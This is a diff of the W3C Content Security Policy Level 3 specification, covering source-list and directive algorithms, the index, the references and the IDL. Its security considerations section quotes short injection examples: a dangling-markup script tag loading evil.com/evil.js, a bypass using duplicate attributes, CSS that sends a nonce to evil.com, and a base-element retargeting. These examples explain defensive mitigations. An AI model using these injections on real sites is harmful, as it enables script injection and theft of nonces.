                    This processing is meant to mitigate the risk of dangling markup attacks that steal the nonce from an existing element in order to load injected script. It is fairly expensive, however, as it requires that we walk through all attributes and their values in order to @@ -4994,34 +5456,34 @@

                    <https://github.com/w3c/webappsec-csp/issues/98>

                    6.6.3.2. Does a source list allow all inline behavior for type?
                    -

                    A source list allows all inline behavior of a given type if it contains the keyword-source expression 'unsafe-inline', and does not override that +

                    A source list allows all inline behavior of a given type if it contains the keyword-source expression 'unsafe-inline', and does not override that expression as described in the following algorithm:

                    Given a source list (list) and a string (type), the following algorithm returns "Allows" if all inline content of a given type is allowed and "Does Not Allow" otherwise.

                      -
                    1. +
                    2. Let allow all inline be false.

                      -
                    3. +
                    4. For each expression in list:

                        -
                      1. +
                      2. If expression matches the nonce-source or hash-source grammar, return "Does Not Allow".

                        -
                      3. +
                      4. If type is "script", "script attribute" or "navigation" and expression matches the keyword-source "'strict-dynamic'", return "Does Not Allow".

                        Note: 'strict-dynamic' only applies to scripts, not other resource - types. Usage is explained in more detail in §8.2 Usage of "'strict-dynamic'".

                        -
                      5. + types. Usage is explained in more detail in § 8.2 Usage of "'strict-dynamic'".

                        +
                      6. If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-inline'", set allow all inline to true.

                      -
                    5. +
                    6. If allow all inline is true, return "Allows". Otherwise, return "Does Not Allow".

                    -
                    - Source lists that allow all inline behavior: +
                    + Source lists that allow all inline behavior:
                    'unsafe-inline' http://a.com http://b.com
                     'unsafe-inline'
                     
                    @@ -5044,64 +5506,64 @@
                    Note: Regardless of the encoding of the document, source will be converted to UTF-8 before applying any hashing algorithms.

                      -
                    1. -

                      If §6.6.3.2 Does a source list allow all inline behavior for type? returns "Allows" given list and type, +

                    2. +

                      If § 6.6.3.2 Does a source list allow all inline behavior for type? returns "Allows" given list and type, return "Matches".

                      -
                    3. -

                      If type is "script" or "style", and §6.6.3.1 Is element nonceable? returns "Nonceable" when executed upon element:

                      +
                    4. +

                      If type is "script" or "style", and § 6.6.3.1 Is element nonceable? returns "Nonceable" when executed upon element:

                        -
                      1. +
                      2. For each expression in list:

                          -
                        1. +
                        2. If expression matches the nonce-source grammar, - and element has a nonce attribute whose value is a case-sensitive match for expression’s base64-value part, return "Matches".

                          + and element has a nonce attribute whose value is a case-sensitive match for expression’s base64-value part, return "Matches".

                      Note: Nonces only apply to inline script and inline style, not to attributes of either element or to javascript: navigations.

                      -
                    5. +
                    6. Let unsafe-hashes flag be false.

                      -
                    7. +
                    8. For each expression in list:

                        -
                      1. +
                      2. If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-hashes'", set unsafe-hashes flag to true. Break out of the loop.

                      -
                    9. +
                    10. If type is "script" or "style", or unsafe-hashes flag is true:

                        -
                      1. +
                      2. Set source to the result of executing UTF-8 encode on the result of executing JavaScript string converting on source.

                        -
                      3. +
                      4. For each expression in list:

                          -
                        1. +
                        2. If expression matches the hash-source grammar:

                            -
                          1. +
                          2. Let algorithm be null.

                            -
                          3. -

                            If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha256", set algorithm to SHA-256.

                            -
                          4. -

                            If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha384", set algorithm to SHA-384.

                            -
                          5. -

                            If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha512", set algorithm to SHA-512.

                            -
                          6. +
                          7. +

                            If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha256", set algorithm to SHA-256.

                            +
                          8. +

                            If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha384", set algorithm to SHA-384.

                            +
                          9. +

                            If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha512", set algorithm to SHA-512.

                            +
                          10. If algorithm is not null:

                              -
                            1. +
                            2. Let actual be the result of base64 encoding the result of applying algorithm to source.

                              -
                            3. +
                            4. Let expected be expression’s base64-value part, with all '-' characters replaced with '+', and all '_' characters replaced with '/'.

                              Note: This replacement normalizes hashes expressed in base64url encoding into base64 encoding for matching.

                              -
                            5. -

                              If actual is a case-sensitive match for expected, return +

                            6. +

                              If actual is a case-sensitive match for expected, return "Matches".

                          @@ -5110,85 +5572,85 @@
                          Note: Hashes apply to inline script and inline style. If the "'unsafe-hashes'" source expression is present, they will also apply to event handlers, style attributes and javascript: navigations.

                          -
                        3. +
                        4. Return "Does Not Match".

                        6.7. Directive Algorithms

                        6.7.1. Get the effective directive for request

                        Each fetch directive controls a specific destination of request. Given - a request (request), the following algorithm returns either null or the name of the request’s effective directive:

                        + a request (request), the following algorithm returns either null or the name of the request’s effective directive:

                          -
                        1. +
                        2. If request’s initiator is "fetch" or its destination is "", return connect-src.

                          -
                        3. +
                        4. If request’s initiator is "prefetch" or "prerender", return prefetch-src.

                          -
                        5. +
                        6. Switch on request’s destination, and execute the associated steps:

                          -
                          "manifest" -
                          +
                          "manifest" +
                            -
                          1. +
                          2. Return manifest-src.

                          -
                          "object" -
                          "embed" -
                          +
                          "object" +
                          "embed" +
                            -
                          1. +
                          2. Return object-src.

                          -
                          "document" -
                          +
                          "document" +
                            -
                          1. +
                          2. If the request’s target browsing context is a nested browsing context, return frame-src.

                          -
                          "audio" -
                          "track" -
                          "video" -
                          +
                          "audio" +
                          "track" +
                          "video" +
                            -
                          1. +
                          2. Return media-src.

                          -
                          "font" -
                          +
                          "font" +
                            -
                          1. +
                          2. Return font-src.

                          -
                          "image" -
                          +
                          "image" +
                            -
                          1. +
                          2. Return img-src.

                          -
                          "style" -
                          +
                          "style" +
                            -
                          1. +
                          2. Return style-src-elem.

                          -
                          "script" -
                          "xslt" -
                          +
                          "script" +
                          "xslt" +
                            -
                          1. +
                          2. Return script-src-elem.

                          -
                          "serviceworker" -
                          "sharedworker" -
                          "worker" -
                          +
                          "serviceworker" +
                          "sharedworker" +
                          "worker" +
                            -
                          1. +
                          2. Return worker-src.

                          -
                        7. +
                        8. Return null.

                        6.7.2. Get the effective directive for inline checks

                        @@ -5196,36 +5658,36 @@

                        Note: While the effective directive is only defined for requests, in this algorithm it is used similarly to mean the directive that is most relevant to a particular type of inline check.

                          -
                        1. +
                        2. Switch on type:

                          -
                          "script" -
                          "navigation" -
                          +
                          "script" +
                          "navigation" +
                            -
                          1. +
                          2. Return script-src-elem.

                          -
                          "script attribute" -
                          +
                          "script attribute" +
                            -
                          1. +
                          2. Return script-src-attr.

                          -
                          "style" -
                          +
                          "style" +
                            -
                          1. +
                          2. Return style-src-elem.

                          -
                          "style attribute" -
                          +
                          "style attribute" +
                            -
                          1. +
                          2. Return style-src-attr.

                          -
                        3. +
                        4. Return null.

                        6.7.3. Get fetch directive fallback list

                        @@ -5234,89 +5696,89 @@

                        +
                      5. Switch on directive name:

                        -
                        "script-src-elem" -
                        +
                        "script-src-elem" +
                          -
                        1. +
                        2. Return << "script-src-elem", "script-src", "default-src" >>.

                        -
                        "script-src-attr" -
                        +
                        "script-src-attr" +
                          -
                        1. +
                        2. Return << "script-src-attr", "script-src", "default-src" >>.

                        -
                        "style-src-elem" -
                        +
                        "style-src-elem" +
                          -
                        1. +
                        2. Return << "style-src-elem", "style-src", "default-src" >>.

                        -
                        "style-src-attr" -
                        +
                        "style-src-attr" +
                          -
                        1. +
                        2. Return << "style-src-attr", "style-src", "default-src" >>.

                        -
                        "worker-src" -
                        +
                        "worker-src" +
                          -
                        1. +
                        2. Return << "worker-src", "child-src", "script-src", "default-src" >>.

                        -
                        "connect-src" -
                        +
                        "connect-src" +
                          -
                        1. +
                        2. Return << "connect-src", "default-src" >>.

                        -
                        "manifest-src" -
                        +
                        "manifest-src" +
                          -
                        1. +
                        2. Return << "manifest-src", "default-src" >>.

                        -
                        "prefetch-src" -
                        +
                        "prefetch-src" +
                          -
                        1. +
                        2. Return << "prefetch-src", "default-src" >>.

                        -
                        "object-src" -
                        +
                        "object-src" +
                          -
                        1. +
                        2. Return << "object-src", "default-src" >>.

                        -
                        "frame-src" -
                        +
                        "frame-src" +
                          -
                        1. +
                        2. Return << "frame-src", "child-src", "default-src" >>.

                        -
                        "media-src" -
                        +
                        "media-src" +
                          -
                        1. +
                        2. Return << "media-src", "default-src" >>.

                        -
                        "font-src" -
                        +
                        "font-src" +
                          -
                        1. +
                        2. Return << "font-src", "default-src" >>.

                        -
                        "img-src" -
                        +
                        "img-src" +
                          -
                        1. +
                        2. Return << "img-src", "default-src" >>.

                        -
                      6. +
                      7. Return << >>.

                      6.7.4. Should fetch directive execute

                      @@ -5328,17 +5790,17 @@

                      policy (policy):

                        -
                      1. -

                        Let directive fallback list be the result of executing §6.7.3 Get fetch directive fallback list on effective directive name.

                        -
                      2. +
                      3. +

                        Let directive fallback list be the result of executing § 6.7.3 Get fetch directive fallback list on effective directive name.

                        +
                      4. For each fallback directive in directive fallback list:

                          -
                        1. +
                        2. If directive name is fallback directive, Return "Yes".

                          -
                        3. +
                        4. If policy contains a directive whose name is fallback directive, Return "No".

                        -
                      5. +
                      6. Return "No".

                @@ -5364,35 +5826,35 @@

                7.2.1. Dangling markup attacks

                Dangling markup attacks such as those discussed in [FILEDESCRIPTOR-2015] can be used to repurpose a page’s legitimate nonces for injections. For example, given an injection point before a script element:

                -
                <p>Hello, [INJECTION POINT]</p>
                -<script nonce=abc src=/good.js></script>
                +
                <p>Hello, [INJECTION POINT]</p>
                +<script nonce=abc src=/good.js></script>
                 

                If an attacker injects the string "<script src='https://evil.com/evil.js' ", then the browser will receive the following:

                -
                <p>Hello, <script src='https://evil.com/evil.js' </p>
                -<script nonce=abc src=/good.js></script>
                +
                <p>Hello, <script src='https://evil.com/evil.js' </p>
                +<script nonce=abc src=/good.js></script>
                 

                It will then parse that code, ending up with a script element with a src attribute pointing to a malicious payload, an attribute named </p>, an attribute named "<script", a nonce attribute, and a second src attribute which is helpfully discarded as duplicate by the parser.

                -

                The §6.6.3.1 Is element nonceable? algorithm attempts to mitigate this specific +

                The § 6.6.3.1 Is element nonceable? algorithm attempts to mitigate this specific attack by walking through script or style element attributes, looking for the string "<script" or "<style" in their names or values.

                User-agents must pay particular attention when implementing this algorithm to not ignore duplicate attributes. If an element has a duplicate attribute any - instance of the attribute after the first one is ignored but in the §6.6.3.1 Is element nonceable? algorithm, all attributes including the + instance of the attribute after the first one is ignored but in the § 6.6.3.1 Is element nonceable? algorithm, all attributes including the duplicate ones need to be checked.

                -

                Currently the HTML spec’s parsing algorithm removes this information - before the §6.6.3.1 Is element nonceable? algorithm can be run which makes it +

                Currently the HTML spec’s parsing algorithm removes this information + before the § 6.6.3.1 Is element nonceable? algorithm can be run which makes it impossible to actually detect duplicate attributes. <https://github.com/whatwg/html/issues/3257>

                For the following example page:

                Hello, [INJECTION POINT]
                -<script nonce=abc src=/good.js></script>
                +<script nonce=abc src=/good.js></script>
                 

                The following injected string will use a duplicate attribute to attempt to - bypass the §6.6.3.1 Is element nonceable? algorithm check:

                -
                Hello, <script src='https://evil.com/evil.js' x="" x=
                -<script nonce="abcd" src=/good.js></script>
                +  bypass the § 6.6.3.1 Is element nonceable? algorithm check:

                +
                Hello, <script src='https://evil.com/evil.js' x="" x=
                +<script nonce="abcd" src=/good.js></script>
                 

                7.2.2. Nonce exfiltration via content attributes

                Some attacks on CSP rely on the ability to exfiltrate @@ -5400,9 +5862,9 @@

                script[nonce=a] { background: url("https://evil.com/nonce?a");} +
                script[nonce=a] { background: url("https://evil.com/nonce?a");}
                 
                -

                The nonce section talks about mitigating these types +

                The nonce section talks about mitigating these types of attacks by hiding the nonce from the element’s content attribute and moving it into an internal slot. This is done to ensure that the nonce value is exposed to scripts but not any other non-script channels.

                7.3. Nonce Retargeting

                @@ -5410,11 +5872,11 @@

                base element, then an otherwise safe page can be subverted when relative URLs are resolved. That is, on https://example.com/ the following code will load https://example.com/good.js:

                -
                <script nonce=abc src=/good.js></script>
                +
                <script nonce=abc src=/good.js></script>
                 

                However, the following will load https://evil.com/good.js:

                -
                <base href="https://evil.com">
                -<script nonce=abc src=/good.js></script>
                +
                <base href="https://evil.com">
                +<script nonce=abc src=/good.js></script>
                 

                To mitigate this risk, it is advisable to set an explicit base element on every page, or to limit the ability of an attacker to inject their own base element by setting a base-uri directive in your page’s policy. For example, base-uri 'none'.

                @@ -5450,11 +5912,11 @@

  • 10.2.2. Content-Security-Policy-Report-Only

    @@ -5767,16 +6229,16 @@

    §3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field) +
    This specification (See § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field)

    11. Acknowledgements

    Lots of people are awesome. For instance:

      -
    • +
    • Mario and all of Cure53.

      -
    • +
    • Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, and the rest of Google’s CSP Cabal.

    @@ -5796,8 +6258,8 @@

    Examples in this specification are introduced with the words “for example” or are set apart from the normative text with class="example", like this:

    -
    - +
    +

    This is an example of an informative example.

    Informative notes begin with the word “Note” and are set apart from the @@ -5846,9 +6308,11 @@

    attribute for SecurityPolicyViolationEvent, in §5.1
  • connect-src, in §6.1.2 +
  • constructor(type), in §5.1 +
  • constructor(type, eventInitDict), in §5.1
  • contains a header-delivered Content Security Policy, in §2.2 -
  • Content-Security-Policy, in §3.1
  • Content Security Policy, in §1 +
  • Content-Security-Policy, in §3.1
  • content security policy object, in §2.2
  • Content-Security-Policy-Report-Only, in §3.2
  • @@ -5867,10 +6331,10 @@

    dfn for policy, in §2.2 -
  • dfn for violation, in §2.4
  • attribute for CSPViolationReportBody, in §5
  • attribute for SecurityPolicyViolationEvent, in §5.1 +
  • dfn for policy, in §2.2 +
  • dfn for violation, in §2.4
  • dict-member for SecurityPolicyViolationEventInit, in §5.1
  • documentURI, in §5.1 @@ -5884,8 +6348,8 @@

    dfn for violation, in §2.4
  • dfn for request, in §6.7.1 +
  • dfn for violation, in §2.4
  • effectiveDirective @@ -5896,7 +6360,6 @@

    element, in §2.4
  • embedding document, in §4.2 -
  • enforce, in §5.1
  • "enforce", in §5.1
  • enforced, in §4.2
  • EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source), in §4.3 @@ -5914,7 +6377,10 @@

    host-source, in §2.3.1
  • img-src, in §6.1.6
  • initialization, in §2.3 +
  • Initialize a Document's CSP list, in §4.2 +
  • Initialize a global object’s CSP list, in §4.2.1
  • inline check, in §2.3 +
  • Is base allowed for document?, in §6.2.1
  • keyword-source, in §2.3.1
  • lineno @@ -5969,13 +6435,12 @@

    dfn for violation, in §2.4
  • attribute for CSPViolationReportBody, in §5
  • attribute for SecurityPolicyViolationEvent, in §5.1 +
  • dfn for violation, in §2.4
  • dict-member for SecurityPolicyViolationEventInit, in §5.1
  • "report", in §5.1 -
  • report, in §5.1
  • 'report-sample', in §2.3.1
  • report-to, in §6.4.2
  • report-uri, in §6.4.1 @@ -5985,9 +6450,9 @@

    dfn for violation, in §2.4
  • attribute for CSPViolationReportBody, in §5
  • attribute for SecurityPolicyViolationEvent, in §5.1 +
  • dfn for violation, in §2.4
  • dict-member for SecurityPolicyViolationEventInit, in §5.1
  • sandbox, in §6.2.3 @@ -6012,10 +6477,13 @@

    serialized-policy-list, in §2.2
  • serialized source list, in §2.3.1
  • serialized-source-list, in §2.3.1 +
  • Should element’s inline type behavior be blocked by Content Security Policy?, in §4.2.3 +
  • Should navigation request of type be blocked by Content Security Policy?, in §4.2.4 +
  • Should navigation response to navigation request of type in target be blocked by Content Security Policy?, in §4.2.5
  • Should plugin element be blocked a priori by Content Security Policy?:, in §6.2.2.1
  • source, in §2.2 -
  • source-expression, in §2.3.1
  • source expression, in §2.3.1 +
  • source-expression, in §2.3.1
  • source file, in §2.4
  • sourceFile @@ -6047,304 +6515,2047 @@

    violation, in §2.4
  • worker-src, in §6.1.17 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Terms defined by reference

    References

    Normative References

    -
    [CSP3] -
    Mike West. Content Security Policy Level 3. 13 September 2016. WD. URL: https://www.w3.org/TR/CSP3/ -
    [CSS-CASCADE-4] -
    Elika Etemad; Tab Atkins Jr.. CSS Cascading and Inheritance Level 4. 14 January 2016. CR. URL: https://www.w3.org/TR/css-cascade-4/ +
    [CSS-CASCADE-5] +
    CSS Cascading and Inheritance Level 5 URL: https://www.w3.org/TR/css-cascade-5/
    [CSSOM]
    Simon Pieters; Glenn Adams. CSS Object Model (CSSOM). 17 March 2016. WD. URL: https://www.w3.org/TR/cssom-1/
    [DOM] @@ -6364,7 +8575,7 @@

    N
    [REPORTING]
    Ilya Gregorik; Mike West. Reporting API. URL: https://wicg.github.io/reporting/
    [REPORTING-1] -
    Ilya Grigorik; Mike West. Reporting API 1. 7 June 2016. NOTE. URL: https://www.w3.org/TR/reporting-1/ +
    Douglas Creager; et al. Reporting API. 25 September 2018. WD. URL: https://www.w3.org/TR/reporting-1/
    [RFC2045]
    N. Freed; N. Borenstein. Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies. November 1996. Draft Standard. URL: https://tools.ietf.org/html/rfc2045
    [RFC2119] @@ -6382,28 +8593,28 @@

    N
    [RFC7034]
    D. Ross; T. Gondrom. HTTP Header Field X-Frame-Options. October 2013. Informational. URL: https://tools.ietf.org/html/rfc7034
    [RFC7230] -
    R. Fielding, Ed.; J. Reschke, Ed.. Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing. June 2014. Proposed Standard. URL: https://tools.ietf.org/html/rfc7230 +
    R. Fielding, Ed.; J. Reschke, Ed.. Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing. June 2014. Proposed Standard. URL: https://httpwg.org/specs/rfc7230.html
    [RFC7231] -
    R. Fielding, Ed.; J. Reschke, Ed.. Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content. June 2014. Proposed Standard. URL: https://tools.ietf.org/html/rfc7231 +
    R. Fielding, Ed.; J. Reschke, Ed.. Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content. June 2014. Proposed Standard. URL: https://httpwg.org/specs/rfc7231.html
    [RFC7762]
    M. West. Initial Assignment for the Content Security Policy Directives Registry. January 2016. Informational. URL: https://tools.ietf.org/html/rfc7762
    [RFC8288] -
    M. Nottingham. Web Linking. October 2017. Proposed Standard. URL: https://tools.ietf.org/html/rfc8288 +
    M. Nottingham. Web Linking. October 2017. Proposed Standard. URL: https://httpwg.org/specs/rfc8288.html
    [SERVICE-WORKERS-1] -
    Alex Russell; et al. Service Workers 1. 2 November 2017. WD. URL: https://www.w3.org/TR/service-workers-1/ +
    Alex Russell; et al. Service Workers 1. 19 November 2019. CR. URL: https://www.w3.org/TR/service-workers-1/
    [SRI]
    Devdatta Akhawe; et al. Subresource Integrity. 23 June 2016. REC. URL: https://www.w3.org/TR/SRI/
    [URL]
    Anne van Kesteren. URL Standard. Living Standard. URL: https://url.spec.whatwg.org/
    [WebIDL] -
    Cameron McCormack; Boris Zbarsky; Tobie Langel. Web IDL. 15 December 2016. ED. URL: https://heycam.github.io/webidl/ +
    Boris Zbarsky. Web IDL. 15 December 2016. ED. URL: https://heycam.github.io/webidl/
    [WORKLETS-1] -
    Ian Kilpatrick. Worklets Level 1. 7 June 2016. WD. URL: https://www.w3.org/TR/worklets-1/ +
    Ian Kilpatrick. Worklets Level 1. 8 September 2020. WD. URL: https://www.w3.org/TR/worklets-1/

    Informative References

    [APPMANIFEST] -
    Marcos Caceres; et al. Web App Manifest. 4 July 2018. WD. URL: https://www.w3.org/TR/appmanifest/ +
    Marcos Caceres; et al. Web App Manifest. 19 October 2020. WD. URL: https://www.w3.org/TR/appmanifest/
    [BEACON]
    Ilya Grigorik; et al. Beacon. 13 April 2017. CR. URL: https://www.w3.org/TR/beacon/
    [CSP2] @@ -6434,78 +8645,79 @@

    James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. REC. URL: https://www.w3.org/TR/xslt/

    IDL Index

    -
    interface CSPViolationReportBody : ReportBody {
    -  readonly attribute USVString documentURL;
    -  readonly attribute USVString? referrer;
    -  readonly attribute USVString? blockedURL;
    -  readonly attribute DOMString effectiveDirective;
    -  readonly attribute DOMString originalPolicy;
    -  readonly attribute USVString? sourceFile;
    -  readonly attribute DOMString? sample;
    -  readonly attribute SecurityPolicyViolationEventDisposition disposition;
    -  readonly attribute unsigned short statusCode;
    -  readonly attribute unsigned long? lineNumber;
    -  readonly attribute unsigned long? columnNumber;
    +
    [Exposed=Window]
    +interface CSPViolationReportBody : ReportBody {
    +  readonly attribute USVString documentURL;
    +  readonly attribute USVString? referrer;
    +  readonly attribute USVString? blockedURL;
    +  readonly attribute DOMString effectiveDirective;
    +  readonly attribute DOMString originalPolicy;
    +  readonly attribute USVString? sourceFile;
    +  readonly attribute DOMString? sample;
    +  readonly attribute SecurityPolicyViolationEventDisposition disposition;
    +  readonly attribute unsigned short statusCode;
    +  readonly attribute unsigned long? lineNumber;
    +  readonly attribute unsigned long? columnNumber;
     };
     
    -enum SecurityPolicyViolationEventDisposition {
    -  "enforce", "report"
    +enum SecurityPolicyViolationEventDisposition {
    +  "enforce", "report"
     };
     
    -[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict),
    - Exposed=(Window,Worker)]
    -interface SecurityPolicyViolationEvent : Event {
    -    readonly    attribute USVString      documentURL;
    -    readonly    attribute USVString      documentURI; // historical alias of documentURL
    -    readonly    attribute USVString      referrer;
    -    readonly    attribute USVString      blockedURL;
    -    readonly    attribute USVString      blockedURI; // historical alias of blockedURL
    -    readonly    attribute DOMString      effectiveDirective;
    -    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    -    readonly    attribute DOMString      originalPolicy;
    -    readonly    attribute USVString      sourceFile;
    -    readonly    attribute DOMString      sample;
    -    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    -    readonly    attribute unsigned short statusCode;
    -    readonly    attribute unsigned long  lineno;
    -    readonly    attribute unsigned long  lineNumber; // historical alias of lineno
    -    readonly    attribute unsigned long  colno;
    -    readonly    attribute unsigned long  columnNumber; // historical alias of colno
    +[Exposed=(Window,Worker)]
    +interface SecurityPolicyViolationEvent : Event {
    +    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    +    readonly    attribute USVString      documentURL;
    +    readonly    attribute USVString      documentURI; // historical alias of documentURL
    +    readonly    attribute USVString      referrer;
    +    readonly    attribute USVString      blockedURL;
    +    readonly    attribute USVString      blockedURI; // historical alias of blockedURL
    +    readonly    attribute DOMString      effectiveDirective;
    +    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    +    readonly    attribute DOMString      originalPolicy;
    +    readonly    attribute USVString      sourceFile;
    +    readonly    attribute DOMString      sample;
    +    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    +    readonly    attribute unsigned short statusCode;
    +    readonly    attribute unsigned long  lineno;
    +    readonly    attribute unsigned long  lineNumber; // historical alias of lineno
    +    readonly    attribute unsigned long  colno;
    +    readonly    attribute unsigned long  columnNumber; // historical alias of colno
     };
     
    -dictionary SecurityPolicyViolationEventInit : EventInit {
    -    required USVString      documentURL;
    -             USVString      referrer = "";
    -             USVString      blockedURL = "";
    -    required DOMString      effectiveDirective;
    -    required DOMString      originalPolicy;
    -             USVString      sourceFile = "";
    -             DOMString      sample = "";
    -    required SecurityPolicyViolationEventDisposition disposition;
    -    required unsigned short statusCode;
    -             unsigned long  lineno = 0;
    -             unsigned long  colno = 0;
    +dictionary SecurityPolicyViolationEventInit : EventInit {
    +    required USVString      documentURL;
    +             USVString      referrer = "";
    +             USVString      blockedURL = "";
    +    required DOMString      effectiveDirective;
    +    required DOMString      originalPolicy;
    +             USVString      sourceFile = "";
    +             DOMString      sample = "";
    +    required SecurityPolicyViolationEventDisposition disposition;
    +    required unsigned short statusCode;
    +             unsigned long  lineno = 0;
    +             unsigned long  colno = 0;
     };
     
     

    Issues Index

    Is this kind of thing specified anywhere? I didn’t see anything - that looked useful in [ECMA262].
    + that looked useful in [ECMA262].
    How, exactly, do we get the status code? We don’t actually store it - anywhere.
    + anywhere.
  • Stylesheet loading is not yet integrated with - Fetch in WHATWG’s HTML. <https://github.com/whatwg/html/issues/968>
    + Fetch in WHATWG’s HTML. <https://github.com/whatwg/html/issues/968>

    HostEnsureCanCompileStrings() does not include the string which is going to be compiled as a parameter. We’ll also need to update HTML to pipe that value through - to CSP. <https://github.com/tc39/ecma262/issues/938>
    + to CSP. <https://github.com/tc39/ecma262/issues/938>
    This needs to be better explained. <https://github.com/w3c/webappsec-csp/issues/212>
    Do something interesting to the execution context in order to lock down interesting CSSOM algorithms. I don’t think CSSOM gives us any hooks here, so - let’s work with them to put something reasonable together.
    -
    Spell this out in more detail as part of defining X-Frame-Options integration with the process a navigate response algorithm. <https://github.com/whatwg/html/issues/1230>
    + let’s work with them to put something reasonable together. +
    Spell this out in more detail as part of defining X-Frame-Options integration with the process a navigate response algorithm. <https://github.com/whatwg/html/issues/1230>
    We need some sort of hook in HTML to record this error if we’re - planning on using it here. <https://github.com/whatwg/html/issues/3257>
    + planning on using it here. <https://github.com/whatwg/html/issues/3257>
    This processing is meant to mitigate the risk of dangling markup attacks that steal the nonce from an existing element in order to load injected script. It is fairly expensive, however, as it @@ -6513,16 +8725,16 @@

    script elements when a nonce is present, but we should probably consider this algorithm as "at risk" until - we know its impact. <https://github.com/w3c/webappsec-csp/issues/98>

    + we know its impact. <https://github.com/w3c/webappsec-csp/issues/98>
    Currently the HTML spec’s parsing algorithm removes this information - before the §6.6.3.1 Is element nonceable? algorithm can be run which makes it - impossible to actually detect duplicate attributes. <https://github.com/whatwg/html/issues/3257>
    + before the § 6.6.3.1 Is element nonceable? algorithm can be run which makes it + impossible to actually detect duplicate attributes. <https://github.com/whatwg/html/issues/3257> @@ -6710,10 +8922,10 @@

    4.2.4. Should element’s inline type behavior be blocked by Content Security Policy?
  • 4.2.5. - Should navigation request of type from source in target be blocked + Should navigation request of type be blocked by Content Security Policy? (2)
  • 4.2.6. - Should navigation response to navigation request of type from source + Should navigation response to navigation request of type in target be blocked by Content Security Policy? (2)
  • 4.3.1. EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) @@ -6883,10 +9095,10 @@

    (2)
  • 2.3. Directives
  • 4.2.5. - Should navigation request of type from source in target be blocked + Should navigation request of type be blocked by Content Security Policy?
  • 4.2.6. - Should navigation response to navigation request of type from source + Should navigation response to navigation request of type in target be blocked by Content Security Policy? (2)
  • 4.3.1. EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) (2) @@ -7148,7 +9360,7 @@

    4.2.4. Should element’s inline type behavior be blocked by Content Security Policy?
  • 4.2.5. - Should navigation request of type from source in target be blocked + Should navigation request of type be blocked by Content Security Policy?
  • 6.1.3.3. default-src Inline Check (2) @@ -7183,7 +9395,7 @@

    #directive-pre-navigation-checkReferenced in: